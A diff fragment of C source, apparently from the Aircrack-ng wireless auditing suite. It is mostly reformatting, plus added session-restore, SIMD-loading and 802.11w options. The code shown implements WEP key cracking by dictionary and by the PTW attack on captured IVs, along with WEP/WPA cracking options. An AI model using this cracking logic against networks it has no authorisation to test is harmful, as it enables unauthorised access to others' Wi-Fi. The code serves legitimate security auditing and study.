 			free(tmpref);
 			tmp = NULL;
-			return( FAILURE );
+			return (FAILURE);
 		}
 		else
-			pthread_mutex_unlock( &mx_dic );
+			pthread_mutex_unlock(&mx_dic);
 
-		if( opt.hexdict[opt.nbdict] )
+		if (opt.hexdict[opt.nbdict])
 		{
-			pthread_mutex_lock( &mx_dic );
-			if( fgets( tmp, ((keysize*2)+(keysize-1)), opt.dict ) == NULL )
+			pthread_mutex_lock(&mx_dic);
+			if (fgets(tmp, ((keysize * 2) + (keysize - 1)), opt.dict) == NULL)
 			{
-				pthread_mutex_unlock( &mx_dic );
-				if( opt.l33t )
-					printf( "\33[32;22m" );
+				pthread_mutex_unlock(&mx_dic);
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
 
-//				printf( "\nPassphrase not in dictionary \"%s\" \n", opt.dicts[opt.nbdict] );
-				if(next_dict(opt.nbdict+1) != 0)
+				//				printf( "\nPassphrase not in dictionary \"%s\"
+				//\n",
+				// opt.dicts[opt.nbdict] );
+				if (next_dict(opt.nbdict + 1) != 0)
 				{
 					free(tmpref);
 					tmp = NULL;
-					return( FAILURE );
+					return (FAILURE);
 				}
 				else
 					continue;
 			}
 			else
-				pthread_mutex_unlock( &mx_dic );
+				pthread_mutex_unlock(&mx_dic);
 
-			i=strlen(tmp);
+			i = strlen(tmp);
 
-			if( i <= 2 ) continue;
+			if (i <= 2) continue;
 
-			if( tmp[i - 1] == '\n' ) tmp[--i] = '\0';
-			if( tmp[i - 1] == '\r' ) tmp[--i] = '\0';
-			if( i <= 0 ) continue;
+			if (tmp[i - 1] == '\n') tmp[--i] = '\0';
+			if (tmp[i - 1] == '\r') tmp[--i] = '\0';
+			if (i <= 0) continue;
 
-			i=0;
+			i = 0;
 
 			hex = strsep(&tmp, ":");
 
-			while( i<keysize && hex != NULL )
+			while (i < keysize && hex != NULL)
 			{
-				if(strlen(hex) > 2 || strlen(hex) == 0)
+				if (strlen(hex) > 2 || strlen(hex) == 0)
 				{
 					rtn = 1;
 					break;
 				}
-				if(sscanf(hex, "%x", &dec) == 0 )
+				if (sscanf(hex, "%x", &dec) == 0)
 				{
 					rtn = 1;
 					break;
@@ -4871,80 +4971,101 @@
 				hex = strsep(&tmp, ":");
 				i++;
 			}
-			if(rtn)
+			if (rtn)
 			{
 				continue;
 			}
 		}
 		else
 		{
-			pthread_mutex_lock( &mx_dic );
-			if( fgets( *key, keysize, opt.dict ) == NULL )
+			pthread_mutex_lock(&mx_dic);
+			if (fgets(*key, keysize, opt.dict) == NULL)
 			{
-				pthread_mutex_unlock( &mx_dic );
-				if( opt.l33t )
-					printf( "\33[32;22m" );
+				pthread_mutex_unlock(&mx_dic);
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
 
-//				printf( "\nPassphrase not in dictionary \"%s\" \n", opt.dicts[opt.nbdict] );
-				if(next_dict(opt.nbdict+1) != 0)
+				//				printf( "\nPassphrase not in dictionary \"%s\"
+				//\n",
+				// opt.dicts[opt.nbdict] );
+				if (next_dict(opt.nbdict + 1) != 0)
 				{
 					free(tmpref);
 					tmp = NULL;
-					return( FAILURE );
+					return (FAILURE);
 				}
 				else
 					continue;
 			}
 			else
-				pthread_mutex_unlock( &mx_dic );
-
-			i=strlen(*key);
+				pthread_mutex_unlock(&mx_dic);
 
-			if( i <= 2 ) continue;
+			i = strlen(*key);
 
-			if( (*key)[i - 1] == '\n' ) (*key)[--i] = '\0';
-			if( (*key)[i - 1] == '\r' ) (*key)[--i] = '\0';
+			if (i <= 2) continue;
 
-			if( i <= 0 ) continue;
+			if ((*key)[i - 1] == '\n') (*key)[--i] = '\0';
+			if ((*key)[i - 1] == '\r') (*key)[--i] = '\0';
 		}
 
 		break;
 	}
 
 	free(tmpref);
-	return( SUCCESS );
+	return (SUCCESS);
 }
 
-int set_dicts(char* optargs)
+static int set_dicts(const char * args)
 {
 	int len;
-	char *optarg;
+	char * optargs = strdup(args);
+	char * poptargs = optargs;
+	char * optarg;
+
+	if (optargs == NULL)
+	{
+		perror("Failed to allocate memory for arguments");
+		return (FAILURE);
+	}
 
 	opt.dictfinish = opt.totaldicts = opt.nbdict = 0;
 
-	while ((opt.nbdict < MAX_DICTS) && (optarg = strsep(&optargs, ",")) != NULL)  {
-		if (!strncasecmp(optarg, "h:", 2)) {
+	// Use a temporary poptargs var because \a strsep trashes the value.
+	while ((opt.nbdict < MAX_DICTS)
+		   && (optarg = strsep(&poptargs, ",")) != NULL)
+	{
+		if (!strncasecmp(optarg, "h:", 2))
+		{
 			optarg += 2;
 			opt.hexdict[opt.nbdict] = 1;
-		} else {
+		}
+		else
+		{
 			opt.hexdict[opt.nbdict] = 0;
 		}
 
-		if (!(opt.dicts[opt.nbdict] = strdup(optarg))) {
+		if (!(opt.dicts[opt.nbdict] = strdup(optarg)))
+		{
+			free(optargs);
 			perror("Failed to allocate memory for dictionary");
-			return( FAILURE );
+			return (FAILURE);
 		}
 
 		opt.nbdict++;
 		opt.totaldicts++;
 	}
+	free(optargs);
 
-	for (len = opt.nbdict; len < MAX_DICTS; len++)
-		opt.dicts[len] = NULL;
+	for (len = opt.nbdict; len < MAX_DICTS; len++) opt.dicts[len] = NULL;
 
 	next_dict(0);
 
-	while(next_dict(opt.nbdict+1) == 0) {}
+	while (next_dict(opt.nbdict + 1) == 0)
+	{
+	}
 
 	next_dict(0);
 
@@ -4955,45 +5076,47 @@
 Uses the specified dictionary to crack the WEP key.
 
 Return: SUCCESS if it cracked the key,
-        FAILURE if it could not.
+		FAILURE if it could not.
 */
-int crack_wep_dict()
+static int crack_wep_dict(void)
 {
 	struct timeval t_last;
 	struct timeval t_now;
 	int i, origlen, keysize;
-	char *key;
+	char * key;
 
-	keysize = opt.keylen+1;
+	keysize = opt.keylen + 1;
 
 	update_ivbuf();
 
-	if(wep.nb_ivs < TEST_MIN_IVS)
+	if (wep.nb_ivs < TEST_MIN_IVS)
 	{
-		printf( "\n%ld IVs is below the minimum required for a dictionary attack (%d IVs min.)!\n", wep.nb_ivs, TEST_MIN_IVS);
-		return( FAILURE );
+		printf("\n%ld IVs is below the minimum required for a dictionary "
+			   "attack (%d IVs min.)!\n",
+			   wep.nb_ivs,
+			   TEST_MIN_IVS);
+		return (FAILURE);
 	}
 
-	key = (char*) malloc(sizeof(char) * (opt.keylen + 1));
-	if (key == NULL)
-		return( FAILURE );
+	key = (char *) malloc(sizeof(char) * (opt.keylen + 1));
+	if (key == NULL) return (FAILURE);
 
-	gettimeofday( &t_last, NULL );
+	gettimeofday(&t_last, NULL);
 	t_last.tv_sec--;
 
-	while(1)
+	while (1)
 	{
-		if( next_key( &key, keysize ) != SUCCESS)
+		if (next_key(&key, keysize) != SUCCESS)
 		{
 			free(key);
-			return( FAILURE );
+			return (FAILURE);
 		}
 
-		i = strlen( key );
+		i = strlen(key);
 
 		origlen = i;
 
-		while(i<opt.keylen)
+		while (i < opt.keylen)
 		{
 			key[i] = key[i - origlen];
 			i++;
@@ -5001,25 +5124,26 @@
 
 		key[i] = '\0';
 
-		if( ! opt.is_quiet )
+		if (!opt.is_quiet)
 		{
-			gettimeofday( &t_now, NULL );
-			if( (t_now.tv_sec - t_last.tv_sec) > 0)
+			gettimeofday(&t_now, NULL);
+			if ((t_now.tv_sec - t_last.tv_sec) > 0)
 			{
 				show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0);
-				gettimeofday( &t_last, NULL);
+				gettimeofday(&t_last, NULL);
 			}
 		}
 
-		for(i=0; i<=opt.keylen; i++)
+		for (i = 0; i <= opt.keylen; i++)
 		{
-			wep.key[i] = (unsigned char)key[i];
+			wep.key[i] = (unsigned char) key[i];
 		}
 
-		if(check_wep_key(wep.key, opt.keylen, 0) == SUCCESS)
+		if (check_wep_key(wep.key, opt.keylen, 0) == SUCCESS)
 		{
 			free(key);
-			return( SUCCESS );
+			wepkey_crack_success = 1;
+			return (SUCCESS);
 		}
 	}
 }
@@ -5028,170 +5152,276 @@
 Uses the PTW attack to crack the WEP key.
 
 Return: SUCCESS if it cracked the key,
-        FAILURE if it could not.
+		FAILURE if it could not.
 */
-static int crack_wep_ptw(struct AP_info *ap_cur)
+static int crack_wep_ptw(struct AP_info * ap_cur)
 {
-    int (* all)[256];
-    int i, j, len = 0;
+	int(*all)[256];
+	int i, j, len = 0;
+
+	opt.ap = ap_cur;
+
+	all = malloc(32 * sizeof(int[256]));
+	if (all == NULL)
+	{
+		return FAILURE;
+	}
+
+	// initial setup (complete keyspace)
+	memset(all, 1, 32 * sizeof(int[256]));
+
+	// setting restricted keyspace
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			if ((opt.is_alnum && (j < 32 || j >= 128))
+				|| (opt.is_fritz && (j < 48 || j >= 58))
+				|| (opt.is_bcdonly && (j > 0x99 || (j & 0x0F) > 0x09)))
+				all[i][j] = 0;
+		}
+	}
+
+	// if debug is specified, force a specific value.
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			if (opt.debug_row[i] == 1 && opt.debug[i] != j)
+				all[i][j] = 0;
+			else if (opt.debug_row[i] == 1 && opt.debug[i] == j)
+				all[i][j] = 1;
+		}
+	}
 
-    opt.ap = ap_cur;
+	if (ap_cur->nb_ivs_clean > 99)
+	{
+		ap_cur->nb_ivs = ap_cur->nb_ivs_clean;
+		// first try without bruteforcing, using only "clean" keystreams
+		if (opt.keylen != 13)
+		{
+			if (PTW_computeKey(ap_cur->ptw_clean,
+							   wep.key,
+							   opt.keylen,
+							   (KEYLIMIT * opt.ffact),
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = opt.keylen;
+		}
+		else
+		{
+			/* try 1000 40bit keys first, to find the key "instantly" and you
+			 * don't need to wait for 104bit to fail */
+			if (PTW_computeKey(ap_cur->ptw_clean,
+							   wep.key,
+							   5,
+							   1000,
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = 5;
+			else if (PTW_computeKey(ap_cur->ptw_clean,
+									wep.key,
+									13,
+									(KEYLIMIT * opt.ffact),
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 13;
+			else if (PTW_computeKey(ap_cur->ptw_clean,
+									wep.key,
+									5,
+									(KEYLIMIT * opt.ffact) / 3,
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 5;
+		}
+	}
+	if (!len)
+	{
+		ap_cur->nb_ivs = ap_cur->nb_ivs_vague;
+		// in case it's not found, try bruteforcing the id field and include
+		// "vague" keystreams
+		PTW_DEFAULTBF[10] = 1;
+		PTW_DEFAULTBF[11] = 1;
+		//        PTW_DEFAULTBF[12]=1;
+
+		if (opt.keylen != 13)
+		{
+			if (PTW_computeKey(ap_cur->ptw_vague,
+							   wep.key,
+							   opt.keylen,
+							   (KEYLIMIT * opt.ffact),
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = opt.keylen;
+		}
+		else
+		{
+			/* try 1000 40bit keys first, to find the key "instantly" and you
+			 * don't need to wait for 104bit to fail */
+			if (PTW_computeKey(ap_cur->ptw_vague,
+							   wep.key,
+							   5,
+							   1000,
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = 5;
+			else if (PTW_computeKey(ap_cur->ptw_vague,
+									wep.key,
+									13,
+									(KEYLIMIT * opt.ffact),
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 13;
+			else if (PTW_computeKey(ap_cur->ptw_vague,
+									wep.key,
+									5,
+									(KEYLIMIT * opt.ffact) / 10,
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 5;
+		}
+	}
 
-    all = malloc(32*sizeof(int [256]));
-    if (all == NULL) {
-    	return FAILURE;
-    }
-
-    //initial setup (complete keyspace)
-    for (i = 0; i < 32; i++) {
-        for (j = 0; j < 256; j++) {
-            all[i][j] = 1;
-        }
-    }
-
-    //setting restricted keyspace
-    for (i = 0; i < 32; i++) {
-        for (j = 0; j < 256; j++) {
-            if( (opt.is_alnum && (j<32 || j>=128) ) ||
-                (opt.is_fritz && (j<48 || j>=58)) ||
-                (opt.is_bcdonly && ( j > 0x99 || ( j & 0x0F ) > 0x09 )) )
-                all[i][j] = 0;
-        }
-    }
-
-    //if debug is specified, force a specific value.
-    for (i=0; i<32; i++) {
-        for (j = 0; j < 256; j++) {
-            if(opt.debug_row[i] == 1 && opt.debug[i] != j)
-                all[i][j] = 0;
-            else if(opt.debug_row[i] == 1 && opt.debug[i] == j)
-                all[i][j] = 1;
-        }
-    }
-
-    if(ap_cur->nb_ivs_clean > 99)
-    {
-        ap_cur->nb_ivs = ap_cur->nb_ivs_clean;
-        //first try without bruteforcing, using only "clean" keystreams
-        if(opt.keylen != 13)
-        {
-            if(PTW_computeKey(ap_cur->ptw_clean, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = opt.keylen;
-        }
-        else
-        {
-            /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */
-            if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 5;
-            else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 13;
-            else if(PTW_computeKey(ap_cur->ptw_clean, wep.key, 5, (KEYLIMIT*opt.ffact)/3, PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 5;
-        }
-    }
-    if(!len)
-    {
-        ap_cur->nb_ivs = ap_cur->nb_ivs_vague;
-        //in case its not found, try bruteforcing the id field and include "vague" keystreams
-        PTW_DEFAULTBF[10]=1;
-        PTW_DEFAULTBF[11]=1;
-//        PTW_DEFAULTBF[12]=1;
-
-        if(opt.keylen != 13)
-        {
-            if(PTW_computeKey(ap_cur->ptw_vague, wep.key, opt.keylen, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = opt.keylen;
-        }
-        else
-        {
-            /* try 1000 40bit keys first, to find the key "instantly" and you don't need to wait for 104bit to fail */
-            if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, 1000, PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 5;
-            else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 13, (KEYLIMIT*opt.ffact), PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 13;
-            else if(PTW_computeKey(ap_cur->ptw_vague, wep.key, 5, (KEYLIMIT*opt.ffact)/10, PTW_DEFAULTBF, all, opt.ptw_attack) == 1)
-                len = 5;
-        }
-    }
-
-    if (!len)
-            return FAILURE;
+	free(all);
 
-    opt.probability = 100;
-    key_found(wep.key, len, -1);
+	if (!len) return FAILURE;
 
-    return SUCCESS;
+	opt.probability = 100;
+	key_found(wep.key, len, -1);
+
+	return SUCCESS;
 }
 
-int main( int argc, char *argv[] )
+#if DYNAMIC
+static void load_aircrack_crypto_dso(int simd_features)
+{
+	simd_init();
+
+	if (simd_features == -1)
+	{
+		simd_features = simd_get_supported_features();
+	}
+
+	if (ac_crypto_engine_loader_load(simd_features) != 0) exit(1);
+
+	simd_destroy();
+}
+#endif
+
+int main(int argc, char * argv[])
 {
 	int i, n, ret, option, j, ret1, nbMergeBSSID, unused;
 	int cpu_count, showhelp, z, zz, forceptw;
 	char *s, buf[128];
-	struct AP_info *ap_cur;
-	int old=0;
+	struct AP_info * ap_cur = NULL;
+	int old = 0;
 	char essid[33];
+	int restore_session = 0;
+	int nbarg = argc;
+	access_points = c_avl_create(station_compare);
+	targets = c_avl_create(station_compare);
 
 #ifdef HAVE_SQLITE
 	int rc;
-	char *zErrMsg = 0;
-	char looper[4] = {'|','/','-','\\'};
+	char * zErrMsg = 0;
+	char looper[4] = {'|', '/', '-', '\\'};
 	int looperc = 0;
 	int waited = 0;
-	char *sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE essid.essid = '%q'";
-	char *sql;
+	char * sqlformat = "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN "
+					   "passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
+					   "essid ON essid.essid_id = pmk.essid_id WHERE "
+					   "essid.essid = '%q'";
+	char * sql;
 #endif
 
 #ifdef USE_GCRYPT
-	// Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0
-	#if GCRYPT_VERSION_NUMBER < 0x010600
-		gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-	#endif
+// Register callback functions to ensure proper locking in the sensitive parts
+// of libgcrypt < 1.6.0
+#if GCRYPT_VERSION_NUMBER < 0x010600
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
 	// Disable secure memory.
-	gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
 	// Tell Libgcrypt that initialization has completed.
-	gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
 #endif
 	ret = FAILURE;
 	showhelp = 0;
 
-	// Start a new process group, we are perhaps going to call kill(0, ...) later
+	// Start a new process group, we are perhaps going to call kill(0, ...)
+	// later
 	setsid();
 
-	progname = getVersion("Aircrack-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	memset(&opt, 0, sizeof(opt));
+
+	srand(time(NULL));
 
-	memset( &opt, 0, sizeof( opt ) );
+#if DYNAMIC
+	// Load the best available shared library, or the user specified one.
+	int simd_features = -1;
+	if (argc >= 2 && strncmp(argv[1], "--simd=", 7) == 0)
+	{
+		const char * simd = &argv[1][7];
 
-	srand( time( NULL ) );
+		simd_features = ac_crypto_engine_loader_string_to_flag(simd);
+
+		if (simd_features < SIMD_SUPPORTS_NONE)
+		{
+			fprintf(stderr, "Unknown SIMD architecture.\n");
+			exit(1);
+		}
+	}
+
+	load_aircrack_crypto_dso(simd_features);
+#endif
 
 	// Get number of CPU (return -1 if failed).
 	cpu_count = get_nb_cpus();
 	opt.nbcpu = 1;
-	if (cpu_count > 1) {
+	if (cpu_count > 1)
+	{
 		opt.nbcpu = cpu_count;
 	}
 
-	j=0;
+	db = NULL;
+	j = 0;
 	/* check the arguments */
 
-	opt.nbdict		= 0;
-	opt.amode		= 0;
-	opt.do_brute    = 1;
+	opt.nbdict = 0;
+	opt.amode = 0;
+	opt.do_brute = 1;
 	opt.do_mt_brute = 1;
-	opt.showASCII   = 0;
+	opt.showASCII = 0;
 	opt.probability = 51;
-	opt.next_ptw_try= 0;
-	opt.do_ptw		= 1;
-	opt.max_ivs		= INT_MAX;
+	opt.next_ptw_try = 0;
+	opt.do_ptw = 1;
+	opt.max_ivs = INT_MAX;
 	opt.visual_inspection = 0;
-	opt.firstbssid	= NULL;
+	opt.firstbssid = NULL;
 	opt.bssid_list_1st = NULL;
-	opt.bssidmerge	= NULL;
-	opt.oneshot		= 0;
+	opt.bssidmerge = NULL;
+	opt.oneshot = 0;
 	opt.logKeyToFile = NULL;
 	opt.wkp = NULL;
 	opt.hccap = NULL;
-	opt.forced_amode	= 0;
+	opt.forced_amode = 0;
+	opt.hccapx = NULL;
 
 	/*
 	all_ivs = malloc( (256*256*256) * sizeof(used_iv));
@@ -5200,54 +5430,145 @@
 
 	forceptw = 0;
 
-	while( 1 )
-	{
-
-        int option_index = 0;
+	// Check if we are restoring from a session
+	if (nbarg == 3 && (strcmp(argv[1], "--restore-session") == 0
+					   || strcmp(argv[1], "-R") == 0))
+	{
+		cracking_session = ac_session_load(argv[2]);
+		if (cracking_session == NULL)
+		{
+			fprintf(stderr, "Failed loading session file: %s\n", argv[2]);
+			return EXIT_FAILURE;
+		}
+		nbarg = cracking_session->argc;
+		printf("Restoring session\n");
+		//        printf("nbarg: %d\nArguments:\n", nbarg);
+		//        for (int i = 0; i < nbarg; ++i) {
+		//            printf("- %s\n", cracking_session->argv[i]);
+		//        }
+		restore_session = 1;
+	}
+
+	while (1)
+	{
+
+		int option_index = 0;
+
+		static struct option long_options[]
+			= {{"bssid", 1, 0, 'b'},
+			   {"debug", 1, 0, 'd'},
+			   {"combine", 0, 0, 'C'},
+			   {"help", 0, 0, 'H'},
+			   {"wep-decloak", 0, 0, 'D'},
+			   {"ptw-debug", 1, 0, 'P'},
+			   {"visual-inspection", 0, 0, 'V'},
+			   {"oneshot", 0, 0, '1'},
+			   {"cpu-detect", 0, 0, 'u'},
+			   {"new-session", 1, 0, 'N'},
+			   // Even though it's taken care of above, we need to
+			   // handle the case where it's used along with other
+			   // parameters.
+			   {"restore-session", 1, 0, 'R'},
+			   {"simd", 1, 0, 'W'},
+			   {"simd-list", 0, 0, 0},
+			   {0, 0, 0, 0}};
+
+		// Load argc/argv either from the cracking session or from arguments
+		option = getopt_long(
+			nbarg,
+			((restore_session) ? cracking_session->argv : argv),
+			"r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::XysZ:w:0HKC:M:DP:zV1Suj:N:R:",
+			long_options,
+			&option_index);
+
+		if (option < 0) break;
+
+		if (option_index >= 0)
+		{
+			if (strncmp(long_options[option_index].name, "simd-list", 9) == 0)
+			{
+				int simd_found = ac_crypto_engine_loader_get_available();
+				char * simd_list
+					= ac_crypto_engine_loader_flags_to_string(simd_found);
 
-        static struct option long_options[] = {
-            {"bssid",             1, 0, 'b'},
-            {"debug",             1, 0, 'd'},
-            {"combine",           0, 0, 'C'},
-            {"help",              0, 0, 'H'},
-            {"wep-decloak",       0, 0, 'D'},
-            {"ptw-debug",         1, 0, 'P'},
-            {"visual-inspection", 0, 0, 'V'},
-            {"oneshot",           0, 0, '1'},
-            {"cpu-detect",        0, 0, 'u'},
-            {0,                   0, 0,  0 }
-        };
+				printf("%s\n", simd_list);
 
-		option = getopt_long( argc, argv, "r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::Xysw:0HKC:M:DP:zV1Su",
-                        long_options, &option_index );
+				free(simd_list);
 
-		if( option < 0 ) break;
+				exit(0);
+			}
+		}
 
-		switch( option )
+		switch (option)
 		{
+			case 'N':
+				// New session
+				if (cracking_session == NULL)
+				{
+					// Ignore if there is a cracking session (which means it was
+					// loaded from it)
+					cracking_session
+						= ac_session_from_argv(nbarg, argv, optarg);
+					if (cracking_session == NULL)
+					{
+						return EXIT_FAILURE;
+					}
+				}
+				break;
+			case 'R':
+				// Restore and continue session
+				fprintf(stderr,
+						"This option must be used without any other option!\n");
+				return EXIT_FAILURE;
+
+			case 'W':
+				break;
+
 			case 'S':
 				_speed_test = 1;
 				break;
 
-			case ':' :
+			case 'Z':
+				_speed_test_length = strtol(optarg, NULL, 10);
+				if (errno == ERANGE)
+				{
+					fprintf(stderr, "Invalid speed test length given.\n");
+					return EXIT_FAILURE;
+				}
+				break;
+
+			case ':':
 
 				printf("\"%s --help\" for help.\n", argv[0]);
-				return( 1 );
+				return (1);
 
-			case '?' :
+			case '?':
 
 				printf("\"%s --help\" for help.\n", argv[0]);
-				return( 1 );
+				return (1);
 
-			case 'u' :
-#if defined(__i386__) || defined(__x86_64__)
+			case 'u':
+#if defined(__i386__) || defined(__x86_64__) || defined(__arm__)
 				cpuid_getinfo();
+				int in_use_simdsize = dso_ac_crypto_engine_simd_width();
+				printf("SIMD size in use= %d ", in_use_simdsize);
+
+				if (in_use_simdsize == 1)
+					printf("(64 bit)\n");
+				else if (in_use_simdsize == 4)
+					printf("(128 bit)\n");
+				else if (in_use_simdsize == 8)
+					printf("(256 bit)\n");
+				else if (in_use_simdsize == 16)
+					printf("(512 bit)\n");
+				else
+					printf("(unknown)\n");
 #else
 				printf("Nb CPU detected: %d\n", cpu_count);
 #endif
-				return( 0 );
+				return (0);
 
-			case 'V' :
+			case 'V':
 				if (forceptw)
 				{
 					printf("Visual inspection can only be used with KoreK\n");
@@ -5259,126 +5580,149 @@
 				opt.do_ptw = 0;
 				break;
 
-			case 'a' :
+			case 'a':
 
-				ret1 = sscanf( optarg, "%d", &opt.amode );
+				ret1 = sscanf(optarg, "%d", &opt.amode);
 
-				if ( strcasecmp( optarg, "wep" ) == 0 )
+				if (strcasecmp(optarg, "wep") == 0)
 					opt.amode = 1;
 
-				else if ( strcasecmp( optarg, "wpa" ) == 0 )
+				else if (strcasecmp(optarg, "wpa") == 0)
 					opt.amode = 2;
 
-				if( ret1 !=1 || (opt.amode != 1 && opt.amode != 2) )
+				else if (strcasecmp(optarg, "80211w") == 0)
+					opt.amode = 3;
+
+				if (ret1 != 1
+					|| (opt.amode != 1 && opt.amode != 2 && opt.amode != 3))
 				{
-					printf( "Invalid attack mode. [1,2] or [wep,wpa]\n" );
+					printf(
+						"Invalid attack mode. [1,2,3] or [wep,wpa,80211w]\n");
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
+#if !defined(HAVE_OPENSSL_CMAC_H) && !defined(GCRYPT_WITH_CMAC_AES)
+				if (opt.amode == 3)
+				{
+					fprintf(stderr,
+							"Key version 3 is only supported when OpenSSL (or "
+							"similar) supports CMAC.\n");
+
+					return (FAILURE);
+				}
+#endif /* !HAVE_OPENSSL_CMAC_H && !GCRYPT_WITH_CMAC_AES */
+
 				opt.forced_amode = 1;
 
 				break;
 
-			case 'e' :
+			case 'e':
 
-				memset(  opt.essid, 0, sizeof( opt.essid ) );
-				strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
+				memset(opt.essid, 0, sizeof(opt.essid));
+				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
 				opt.essid_set = 1;
 				break;
 
-			case 'b' :
+			case 'b':
 
 				if (getmac(optarg, 1, opt.bssid) != 0)
 				{
-						printf( "Invalid BSSID (not a MAC).\n" );
-						printf("\"%s --help\" for help.\n", argv[0]);
-						return( FAILURE );
+					printf("Invalid BSSID (not a MAC).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (FAILURE);
 				}
 
 				opt.bssid_set = 1;
 				break;
 
-			case 'p' :
-				if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 || opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS)
+			case 'p':
+				if (sscanf(optarg, "%d", &opt.nbcpu) != 1 || opt.nbcpu < 1
+					|| opt.nbcpu > MAX_THREADS)
 				{
-					printf( "Invalid number of processes (recommended: %d)\n", cpu_count );
+					printf("Invalid number of processes (recommended: %d)\n",
+						   cpu_count);
 					printf("\"%s --help\" for help.\n", argv[0]);
-					return( FAILURE );
+					return (FAILURE);
 				}
 
 				break;
 
-			case 'q' :
+			case 'q':
 
 				opt.is_quiet = 1;
 
 				break;
 
-			case 'c' :
+			case 'c':
 
 				opt.is_alnum = 1;
 				break;
 
-			case 'D' :
+			case 'D':
 
 				opt.wep_decloak = 1;
 				break;
 
-			case 'h' :
+			case 'h':
 
 				opt.is_fritz = 1;
 				break;
 
-			case 't' :
+			case 't':
 
 				opt.is_bcdonly = 1;
 				break;
 
-			case '1' :
+			case '1':
 
 				opt.oneshot = 1;
 				break;
 
-			case 'd' :
+			case 'd':
 
-				i = 0 ;
+				i = 0;
 				n = 0;
 				s = optarg;
-				while( s[i] != '\0' )
+				while (s[i] != '\0')
 				{
-					if (s[i] == 'x')
-						s[i] = 'X';
-					if (s[i] == 'y')
-						s[i] = 'Y';
-					if ( s[i] == '-' ||  s[i] == ':' || s[i] == ' ')
+					if (s[i] == 'x') s[i] = 'X';
+					if (s[i] == 'y') s[i] = 'Y';
+					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
 						i++;
 					else
 						s[n++] = s[i++];
 				}
-				s[n] = '\0' ;
+				s[n] = '\0';
 				buf[0] = s[0];
 				buf[1] = s[1];
 				buf[2] = '\0';
 				i = 0;
 				j = 0;
-				while( ( sscanf( buf, "%x", &n ) == 1 ) || ( buf[0] == 'X' && buf[1] == 'X' ) || ( buf[0] == 'Y' && buf[1] == 'Y' ))
+				while ((sscanf(buf, "%x", &n) == 1)
+					   || (buf[0] == 'X' && buf[1] == 'X')
+					   || (buf[0] == 'Y' && buf[1] == 'Y'))
 				{
-					if ( buf[0] == 'X' && buf[1] == 'X' ) {
-						opt.debug_row[i++] = 0 ;
-					} else if ( buf[0] == 'Y' && buf[1] == 'Y' ) {
+					if (buf[0] == 'X' && buf[1] == 'X')
+					{
+						opt.debug_row[i++] = 0;
+					}
+					else if (buf[0] == 'Y' && buf[1] == 'Y')
+					{
 						opt.brutebytes[j++] = i++;
-					} else {
-						if ( n < 0 || n > 255 )
+					}
+					else
+					{
+						if (n < 0 || n > 255)
 						{
-							printf( "Invalid debug key.\n" );
+							printf("Invalid debug key.\n");
 							printf("\"%s --help\" for help.\n", argv[0]);
-							return( FAILURE );
+							return (FAILURE);
 						}
-						opt.debug[i] = n ;
+						opt.debug[i] = n;
 						opt.debug_row[i++] = 1;
 					}
-					if( i >= 64 ) break;
+					if (i >= 64) break;
 					s += 2;
 					buf[0] = s[0];
 					buf[1] = s[1];
@@ -5387,141 +5731,160 @@
 				opt.do_ptw = 0;
 				break;
 
+			case 'm':
 
-			case 'm' :
-
-				if ( getmac(optarg, 1, opt.maddr) != 0)
+				if (getmac(optarg, 1, opt.maddr) != 0)
